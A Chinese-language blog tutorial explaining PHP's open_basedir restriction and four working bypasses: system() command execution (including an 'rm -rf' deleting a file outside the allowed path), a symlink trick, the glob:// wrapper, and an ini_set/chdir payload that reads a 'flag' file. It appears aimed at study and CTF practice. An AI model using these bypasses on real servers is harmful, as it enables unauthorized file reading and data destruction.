• php绕过open_basedir设置


    原理
    关于open_basedir
        open_basedir是php.ini中的一个配置选项
        它可将用户访问文件的活动范围限制在指定的区域,
        假设open_basedir=/home/wwwroot/home/web1/:/tmp/,那么通过web1访问服务器的用户就无法获取服务器上除了/home/wwwroot/home/web1/和/tmp/这两个目录以外的文件。
        注意用open_basedir指定的限制实际上是前缀,而不是目录名。
        举例来说: 若"open_basedir = /dir/user", 那么目录 "/dir/user" 和 "/dir/user1"都是可以访问的。所以如果要将访问限制在仅为指定的目录,请用斜线结束路径名。
    补充:
        ①如果php.ini配置项前有分号,表明php.ini中没有该设置。那就很可能是在  php-fpm  中的 fastcgi.conf中配置了。php-fpm中的配置会覆盖php.ini的配置。
        ②在php.ini或者fastcgi.cong中设置,都是针对所有项目。如果想要对单独项目进行设置的话,在项目根目录中通过  .user.ini 进行配置。
        .user.ini配置
        首先,要使.user.ini生效,要设置php.ini 中的
            user_ini.filename = ".user.ini"
            user_ini.cache_ttl = 300
        注释掉 fastcgi.conf 中的 open_basedir  的配置。
        在项目根目录 创建 .user.ini文件,写入如下内容
             open_basedir=/tmp/:/proc/:/you_web_path
        重启一下php-fpm 服务即可。
    关于符号链接
        符号链接又叫软链接,是一类特殊的文件,这个文件包含了另一个文件的路径名(绝对路径或者相对路径)。
        路径可以是任意文件或目录,可以链接不同文件系统的文件。在对符号文件进行读或写操作的时候,系统会自动把该操作转换为对源文件的操作,但删除链接文件时,系统仅仅删除链接文件,而不删除源文件本身。

    0x01 绕过方式1system命令执行函数
    由于open_basedir的设置对system等命令执行函数是无效的,所以我们可以使用命令执行函数来访问限制目录。
    我们首先创建一个目录
        /home/puret/test/
    且在该目录下新建一个1.txt 内容为abc
        nano 1.txt
    再在该目录下创建一个目录命名为b
        mkdir b
    并且在该目录下创建一个1.php文件内容为
        <?php
          echo file_get_contents("../1.txt");
        ?>
    且在php.ini中设置好我们的open_basedir
        open_basedir = /home/puret/test/b/
    我们尝试执行1.php看看open_basedir是否会限制我们的访问
    执行效果如图
    很明显我们无法直接读取open_basedir所规定以外的目录文件。
    接下来我们用system函数尝试绕open_basedir的限制来删除1.txt
    编辑1.php为
        <?php
         system("rm -rf ../1.txt");
        ?>
    先来看看执行1.php之前的文件情况
    执行1.php之后
    成功通过命令执行函数绕过open_basedir来删除文件。
    由于命令执行函数一般都会被限制在disable_function当中,所以我们需要寻找其他的途径来绕过限制。

    0x02 绕过方式2symlink()函数
    我们先来了解一下symlink函数
        bool symlink ( string $target , string $link )
    symlink函数将建立一个指向target的名为link的符号链接,当然一般情况下这个target是受限于open_basedir的。
    由于早期的symlink不支持windows,我的测试环境就放在Linux下了。
    测试的PHP版本是5.3.0,其他的版本大家自测吧。
    在Linux环境下我们可以通过symlink完成一些逻辑上的绕过导致可以跨目录操作文件。
    我们首先在/var/www/html/1.php中 编辑1.php的内容为
        <?php
          mkdir("c");   //创建目录
          chdir("c");     //改变目录
          mkdir("d");
          chdir("d");
          chdir("..");  
          chdir("..");
          symlink("c/d","tmplink");
          symlink("tmplink/../../1.txt","exploit");
          unlink("tmplink");
          mkdir("tmplink");
          echo file_put_contents("http://127.0.0.1/exploit");
        ?>
    接着在/var/www/中新建一个1.txt文件内容为
        "abc"
    再来设置一下我们的open_basedir
        open_basedir = /var/www/html/
    在html目录下编辑一个php脚本检验一下open_basedir
        <?php
           file_get_contents("../1.txt");
        ?>
    执行看下。
    意料之中,文件无法访问。
    我们执行刚才写好的脚本,1.php
    可以看到成功读取到了1.txt的文件内容,逃脱了open_basedir的限制
    问题的关键就在于
        symlink("tmplink/../../1.txt","exploit");
    此时tmplink还是一个符号链接文件,它指向的路径是c/d,因此exploit指向的路径就变成了
        c/d/../../1.txt
    由于这个路径在open_basedir的范围之内所以exploit成功建立了。
    之后我们删除tmplink符号链接文件再新建一个同名为tmplink的文件夹,这时exploit所指向的路径为
        tmplink/../../
    由于这时候tmplink变成了一个真实存在的文件夹所以tmplink/../../变成了1.txt所在的目录即/var/www/
    然后再通过访问符号链接文件exploit即可直接读取到1.txt的文件内容
    当然,针对symlink()只需要将它放入disable_function即可解决问题,所以我们需要寻求更多的方法。

    0x03 绕过方式3glob伪协议
    glob是php自5.3.0版本起开始生效的一个用来筛选目录的伪协议,由于它在筛选目录时是不受open_basedir的制约的,所以我们可以利用它来绕过限制,我们新建一个目录在/var/www/下命名为test
    并且在/var/www/html/下新建t.php内容为
        <?php
          $a = "glob:///var/www/test/*.txt";
          if ( $b = opendir($a) ) {
            while ( ($file = readdir($b)) !== false ) {
              echo "filename:".$file." ";
            }
            closedir($b);
          }
        ?>
    执行结果如图:
    成功躲过open_basedir的限制读取到了文件。

    0x04 绕过方式4根据源码逻辑
    博客https://xz.aliyun.com/t/4720
    Payload:
    chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('flag'));

  • 相关阅读:
    RabbitMQ使用介绍及实例
    RabbitMQ与java、Spring结合实例详细讲解
    服务器搭建--Linux安装rabbitmq
    服务器搭建--Linux安装erlang
    solrCloud index search (图)
    What does "exceeded limit of maxWarmingSearchers=X" mean?
    Solr 自定义排序[1]
    solr Query[转]
    Lucene
    Solr[Q] -No live SolrServers available to handle this request, no servers hosting shard
  • 原文地址:https://www.cnblogs.com/cimuhuashuimu/p/11544487.html
Copyright © 2020-2023  润新知